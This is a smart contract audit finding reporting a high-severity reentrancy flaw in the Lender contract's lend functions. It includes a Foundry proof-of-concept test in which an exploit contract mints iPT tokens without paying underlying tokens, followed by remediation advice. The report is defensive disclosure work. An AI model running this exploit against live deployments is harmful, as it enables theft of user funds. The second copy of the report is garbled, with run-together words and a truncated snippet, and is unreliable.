One way to exploit this vulnerability is to deploy an exploit contract and pass its address as the y argument in the Illuminate/Yield lend function. The exploit contract will call the mint function, which will increase the iPT balance of Lender, which will trick the outer lend call to mint iPT to the attacker. The attacker will get an increased amount of iPT tokens without spending the underlying tokens.
function testLendReentrancyExploit_AUDIT() public {
vm.startPrank(msg.sender);
IERC20(Contracts.ELEMENT_TOKEN).approve(address(l), type(uint256).max);
vm.stopPrank();
deployMarket(Contracts.USDC);
runCheatcodes(Contracts.USDC);
deal(Contracts.ELEMENT_TOKEN, msg.sender, startingBalance);
// First, the attacker obtains some iPT tokens.
l.mint(uint8(3), Contracts.USDC, maturity, startingBalance);
address ipt = mp.markets(Contracts.USDC, maturity, 0);
assertEq(startingBalance, IERC20(ipt).balanceOf(msg.sender), "ipt balance sender");
assertEq(0, IERC20(ipt).balanceOf(address(l)), "ipt balance lender");
deal(Contracts.USDC, address(this), startingBalance);
IERC20(Contracts.USDC).approve(address(l), type(uint256).max);
// Deploying the exploit contract.
ExploitLendIlluminate exploit = new ExploitLendIlluminate(
IERC20(ipt),
IERC20(Contracts.USDC),
l,
maturity
);
// Send iPT to the exploit contract to use them in minting.
IERC20(ipt).transfer(address(exploit), startingBalance);
// Checking balances before.
assertEq(startingBalance, IERC20(Contracts.USDC).balanceOf(address(this)));
assertEq(0, IERC20(ipt).balanceOf(msg.sender));
// The attacker starts the attack.
l.lend(uint8(0), Contracts.USDC, maturity, startingBalance, address(exploit), 0);
// The attacker didn't spend underlying tokens.
assertEq(startingBalance, IERC20(Contracts.USDC).balanceOf(address(this)));
// The attacker got more iPT tokens.
assertEq(2 * startingBalance, IERC20(ipt).balanceOf(msg.sender));
// Lender also got some iPT tokens due to the mint call in the exploit contract.
assertEq(startingBalance, IERC20(ipt).balanceOf(address(l)));
}
## Tool used
Manual Review
## Recommendation
Consider using [ReentrancyGuard](https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/security/ReentrancyGuard.sol) in all the `lend` functions, as well as in the `mint` function. Also, consider validating all the pool and router addresses supplied by caller. For example, maintain an allowlist of valid pools/routers or query a third-party registry contract to ensure a pool/router is a legit contract.
Duplicate of #179
Jeiwan
high
Re-entrancy during lending allows an attacker to mint iPT without paying underlying tokens
Summary
Re-entrancy during lending allows an attacker to mint iPT without paying underlying tokens
Vulnerability Detail
The
lend
functions ofLender
that take a pool/router address are subject to re-entrancy attacks. The functions are:lend
(Illuminate and Yield): calls the user-suppliedy
inyield
(Lender.sol#L335, Lender.sol#L946);lend
(Swivel): calls the user-suppliedy
inswivelLendPremium
(Lender.sol#L423, Lender.sol#L968, Lender.sol#L946);lend
(Element): calls the user-suppliede
inelementSwap
(Lender.sol#L503, Lender.sol#L1015);lend
(APWine): calls the user-suppliedx
(Lender.sol#L601);lend
(Sense): calls the user-suppliedx
(Lender.sol#L725).Impact
One way to exploit this vulnerability is to deploy an exploit contract and pass its address as the
y
argument in the Illuminate/Yieldlend
function. The exploit contract will call themint
function, which will increase the iPT balance ofLender
, which will trick the outerlend
call to mint iPT to the attacker. The attacker will get an increased amount of iPT tokens without spending the underlying tokens.Code Snippet
function testLendReentrancyExploit_AUDIT() public { vm.startPrank(msg.sender); IERC20(Contracts.ELEMENT_TOKEN).approve(address(l), type(uint256).max); vm.stopPrank();
}